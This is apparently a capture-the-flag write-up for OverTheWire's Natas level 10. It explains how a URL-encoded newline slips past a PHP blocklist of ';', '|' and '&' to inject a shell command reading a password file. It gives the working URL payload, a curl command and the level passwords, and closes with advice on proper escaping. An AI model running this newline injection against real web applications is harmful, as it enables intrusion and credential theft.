Natas 10 - Dudji's Docs

Overview

Field	Value
URL	`http://natas10.natas.labs.overthewire.org`
Username	`natas10`
Password	`t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu`

Same word-search page as Level 9, but with a filter added. The “View sourcecode” link shows what’s changed.

Hints

Hint 1 — What does the filter block?

The source adds a preg_match check:

if(preg_match('/[;|&]/', $key)) {
    print "Input contains an illegal character!";
}

The characters ;, |, and & are blocked. These were used in the Level 9 solution. Are they the only characters that act as command separators in bash?

Hint 2 — What else separates bash commands?

In bash, a newline character acts as a command terminator — exactly like ;. The newline character (\n) URL-encoded is %0a. The filter above doesn’t check for it. Try injecting %0a between your grep arguments and a cat command.

Solution

Full walkthrough

Understand what's blocked

The filter catches ;, |, and & in the submitted value. The Level 9 payload (&& cat ...) would be caught.

Use newline as a separator

A URL-encoded newline (%0a) is not in the blocklist. Send the payload via the URL directly:

http://natas10.natas.labs.overthewire.org/?needle=key+dictionary.txt+%0a+cat+/etc/natas_webpass/natas11&submit=Search

The shell receives:

grep -i key dictionary.txt
cat /etc/natas_webpass/natas11

Read the output

The page renders the grep results followed by the contents of the password file.

Character blacklists are inherently fragile. Newlines, null bytes, and other metacharacters are easy to overlook. The correct fix is to use escapeshellarg() — which safely quotes the entire argument — or to avoid shell execution entirely. Allowlists (only permit alphanumerics) are more robust than blocklists.

With curl

# $'...' is a bash ANSI-C quoted string — it interprets \n as a real newline
# --data-urlencode then percent-encodes it as %0a before sending
curl -s -u natas10:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu -G \
  --data-urlencode $'needle=key dictionary.txt\ncat /etc/natas_webpass/natas11' \
  --data-urlencode "submit=Search" \
  http://natas10.natas.labs.overthewire.org/

Password

natas11: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

​Overview

​Hints

​Solution

​With curl

​Password

Overview

Hints

Solution

With curl

Password